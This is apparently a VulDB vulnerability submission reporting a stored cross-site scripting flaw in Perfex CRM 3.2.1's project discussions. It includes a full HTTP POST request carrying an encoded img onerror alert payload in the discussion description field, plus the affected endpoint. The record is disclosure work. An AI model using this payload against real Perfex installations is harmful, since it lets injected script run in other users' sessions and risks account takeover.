| Título | CodeCanyon Perfex CRM 3.2.1 Stored Cross-Site Scripting in Perfex CRM Project Discussion |
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| Descripción | A Stored Cross-Site Scripting (XSS) vulnerability has been identified in the Project Discussions Module of Perfex CRM. This issue permits authenticated client users to inject malicious JavaScript payloads into the discussion description. Consequently, the injected code is executed whenever another user views the discussion. This vulnerability poses significant security risks, including session hijacking, phishing attacks, and the potential for complete account compromise. It is critical to address this vulnerability promptly to safeguard user data and ensure the integrity of the system.
Request:
POST /perfex/clients/project/2 HTTP/1.1
Host: 192.168.1.11
Content-Length: 173
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://192.168.1.11
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.11/perfex/clients/project/2?group=project_discussions
Accept-Encoding: gzip, deflate, br
Cookie: contact_language=english; csrf_cookie_name=80389ebf9f4a421a35838e8b8fa60994; sp_session=vcki9i2pek4meo4qhpc5m5r8urefusof
Connection: keep-alive
csrf_token_name=80389ebf9f4a421a35838e8b8fa60994&project_id=2&action=new_discussion&subject=Testing+Discussion&description=%26lt%3Bimg+src%3Dx+onerror%3Dalert%281%29%26gt%3B
Affected Endpoint
POST /perfex/clients/project/{project_id} HTTP/1.1
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| Fuente | ⚠️ https://github.com/bytium/vulnerability-research/blob/main/stored-xss-perfex-crm-3.2.1.md |
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| Usuario | suffer (UID 74855) |
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| Sumisión | 2025-03-30 11:40 (hace 2 años) |
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| Moderación | 2025-04-03 15:40 (4 days later) |
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| Estado | Aceptado |
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| Entrada de VulDB | 303180 [CodeCanyon Perfex CRM 3.2.1 Project Discussions 2 description secuencias de comandos en sitios cruzados] |
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| Puntos | 20 |
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